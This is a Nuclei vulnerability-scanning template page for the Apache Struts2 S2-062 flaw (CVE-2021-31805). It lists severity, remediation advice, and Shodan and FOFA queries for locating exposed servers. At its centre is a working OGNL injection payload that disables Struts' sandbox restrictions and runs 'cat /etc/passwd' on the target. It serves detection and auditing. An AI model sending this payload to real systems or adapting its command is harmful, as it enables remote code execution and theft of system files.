Apache Struts2 S2-062 - Remote Code Execution

ID: CVE-2021-31805

Severity: critical

Author: taielab

Tags: cve2021,cve,apache,rce,struts,struts2,intrusive

Description

Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag’s attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{…} syntax.

YAML Source

id: CVE-2021-31805

info:
  name: Apache Struts2 S2-062 - Remote Code Execution
  author: taielab
  severity: critical
  description: Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.
  impact: |
    Remote code execution
  remediation: Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-062
    - https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31805
    - http://www.openwall.com/lists/oss-security/2022/04/12/6
    - https://security.netapp.com/advisory/ntap-20220420-0001/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31805
    cwe-id: CWE-917
    epss-score: 0.18558
    epss-percentile: 0.961
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2021,cve,apache,rce,struts,struts2,intrusive

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
        Content-Length: 1095

        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
        Content-Disposition: form-data; name="id"

        %{
        (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
        (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
        (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
        (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
        (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
        (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
        }

        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100e19ea3307875e7b42011644f73335e31fff8750ea65518f9a91ee058cfa85b9b02204ab56508d149c3f6da4e45331c16ba8399557dac1ebf8d0e8052e9ac50e9d300:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-31805.yaml"

View on Github